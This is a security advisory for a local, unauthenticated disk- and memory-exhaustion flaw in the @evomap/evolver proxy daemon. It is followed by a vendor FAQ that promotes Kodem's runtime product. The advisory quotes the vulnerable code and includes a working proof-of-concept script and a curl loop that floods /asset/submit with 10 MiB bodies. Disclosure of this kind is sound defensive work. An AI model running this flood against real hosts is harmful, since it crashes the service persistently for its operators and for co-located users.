GHSA-7XP7-M392-H92C

The EvoMap proxy daemon's HTTP body parser accepts requests of any size, and the POST /asset/submit route persists the full request body, verbatim and uncapped, as a JSONL line in <dataDir>/messages.jsonl. An unauthenticated local attacker (other local user, container neighbor, or malicious npm postinstall script running on the same host) can repeatedly POST large bodies to fill the disk. On restart, the daemon synchronously reads the entire file via fs.readFileSync, making the OOM/crash persistent.

Details

1. Entry, unbounded body parser (src/proxy/server/http.js:9-21):

function parseBody(req) {
  return new Promise((resolve, reject) => {
    const chunks = [];
    req.on('data', c => chunks.push(c));
    req.on('end', () => {
      const raw = Buffer.concat(chunks).toString();
      if (!raw) return resolve({});
      try { resolve(JSON.parse(raw)); }
      catch (e) { reject(new Error('Invalid JSON body')); }
    });
    req.on('error', reject);
  });
}

There is no Content-Length validation and no cumulative-bytes cap on chunks.

2. Route, no schema or size validation (src/proxy/server/routes.js:75-85):

'POST /asset/submit': async ({ body }) => {
  if (!body.assets && !body.asset_id) {
    throw Object.assign(new Error('assets or asset_id is required'), { statusCode: 400 });
  }
  const result = store.send({
    type: 'asset_submit',
    payload: body,
    priority: body.priority || 'normal',
  });
  return { body: result };
}

The full body (including arbitrarily large body.assets[*].blob) is forwarded to store.send() as the message payload. POST /mailbox/send has the same shape.

3. Sink, unbounded JSONL append (src/proxy/mailbox/store.js):

// line 71-73
function appendLine(filePath, obj) {
  fs.appendFileSync(filePath, JSON.stringify(obj) + '\n', 'utf8');
}

// line 189-209: send() builds a message wrapping the payload and calls _appendMessage
// line 166-171: _appendMessage(msg) -> appendLine(this._messagesFile, msg)

Every /asset/submit or /mailbox/send request appends one JSONL line proportional in size to the request body. compact() (line 381) only re-writes existing messages; it does not drop or truncate large rows.

4. Persistence on restart (src/proxy/mailbox/store.js):

// line 75-86
function readLines(filePath) {
  if (!fs.existsSync(filePath)) return [];
  const content = fs.readFileSync(filePath, 'utf8');  // synchronous, full-file
  ...
}
// line 143-164: _rebuildIndex() called from constructor reads every line

A multi-GB messages.jsonl will OOM the daemon on every startup, making the DoS persistent across restarts.

5. Auth model (recon.json, confirmed by inspection of src/proxy/server/http.js:38 server.listen(port, '127.0.0.1', ...)):

"HTTP proxy has NO per-request auth (bound to 127.0.0.1 only) … No authentication on HTTP /mailbox, /asset, /task, /session, /dm routes."

Any local process can reach the daemon. Local-only access still admits multi-tenant dev hosts, sandboxes, containers sharing the host network namespace, and malicious npm dependency postinstall scripts.

6. Why not by-design. The mailbox is documented as a poll/ack message channel for short metadata. Sister code paths in the repo bound their writes (e.g. appendFailedCapsule with FAILED_CAPSULES_MAX = 200); the absence of any cap on the mailbox path is inconsistent.

PoC

Run from the repo root:

// poc-asset-submit.js
const http=require('http'),fs=require('fs'),os=require('os'),path=require('path');
const {MailboxStore}=require('./src/proxy/mailbox/store');
const {ProxyHttpServer}=require('./src/proxy/server/http');
const {buildRoutes}=require('./src/proxy/server/routes');
(async()=>{
  const dir=fs.mkdtempSync(path.join(os.tmpdir(),'poc-'));
  const store=new MailboxStore(dir);
  const handlers={assetFetch:async()=>({}),assetSearch:async()=>({}),assetValidate:async()=>({}),atpPost:async()=>({}),atpGet:async()=>({})};
  const srv=new ProxyHttpServer(buildRoutes(store,handlers,null,{}),{port:39922,logger:{log:()=>{},error:()=>{},warn:()=>{}}});
  await srv.start();
  const send=(mb)=>new Promise((res,rej)=>{
    const body='{"assets":[{"asset_id":"sha256:dead","blob":"'+'A'.repeat(mb*1024*1024)+'"}]}';
    const req=http.request({hostname:'127.0.0.1',port:39922,path:'/asset/submit',method:'POST',headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(body)}},r=>{r.resume();r.on('end',res);});
    req.on('error',rej); req.write(body); req.end();
  });
  for(let i=0;i<3;i++){await send(10);console.log('messages.jsonl=',fs.statSync(path.join(dir,'messages.jsonl')).size,'bytes');}
  await srv.stop(); fs.rmSync(dir,{recursive:true});
})();

Verified output:

messages.jsonl= 10486078 bytes
messages.jsonl= 20972156 bytes
messages.jsonl= 31458234 bytes

Live exploitation against a running daemon (default port 19820):

printf '{"assets":[{"blob":"%s"}]}' "$(head -c 10485760 /dev/zero | tr '\0' A)" > /tmp/big.json
for i in $(seq 1 1000); do
  curl -s -X POST -H 'Content-Type: application/json' --data-binary @/tmp/big.json http://127.0.0.1:19820/asset/submit
done

<dataDir>/messages.jsonl grows by ~10 MiB per request with no upper bound. After ~N requests, the disk is full or the daemon OOMs on next restart while reading the file.

• Disk exhaustion of <dataDir> filesystem (default ~/.evomap/mailbox/). Shared filesystems mean co-located services can crash too.
• Persistent denial of service: on daemon restart, _rebuildIndex() synchronously reads the whole messages.jsonl via fs.readFileSync, OOM-killing the daemon. Operator must manually delete or truncate the file to recover.
• Memory exhaustion during the attack: Buffer.concat(chunks).toString() materializes the entire body in memory, so large single requests can also OOM the live daemon before they hit disk.
• Reachable from low-privilege local actors: malicious npm dependency postinstall scripts, other unprivileged users on shared dev hosts, processes in sibling containers sharing the host network namespace.

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

GHSA-7XP7-M392-H92C has a CVSS score of 6.2 (Medium). The vector is requires local access, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.70.0-beta.5); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is GHSA-7XP7-M392-H92C? GHSA-7XP7-M392-H92C is a medium-severity uncontrolled resource consumption vulnerability in @evomap/evolver (npm), affecting versions <= 1.70.0-beta.4. It is fixed in 1.70.0-beta.5. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
2. How severe is GHSA-7XP7-M392-H92C? GHSA-7XP7-M392-H92C has a CVSS score of 6.2 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @evomap/evolver are affected by GHSA-7XP7-M392-H92C? @evomap/evolver (npm) versions <= 1.70.0-beta.4 is affected.
4. Is there a fix for GHSA-7XP7-M392-H92C? Yes. GHSA-7XP7-M392-H92C is fixed in 1.70.0-beta.5. Upgrade to this version or later.
5. Is GHSA-7XP7-M392-H92C exploitable, and should I be worried? Whether GHSA-7XP7-M392-H92C is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-7XP7-M392-H92C is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-7XP7-M392-H92C? Upgrade @evomap/evolver to 1.70.0-beta.5 or later.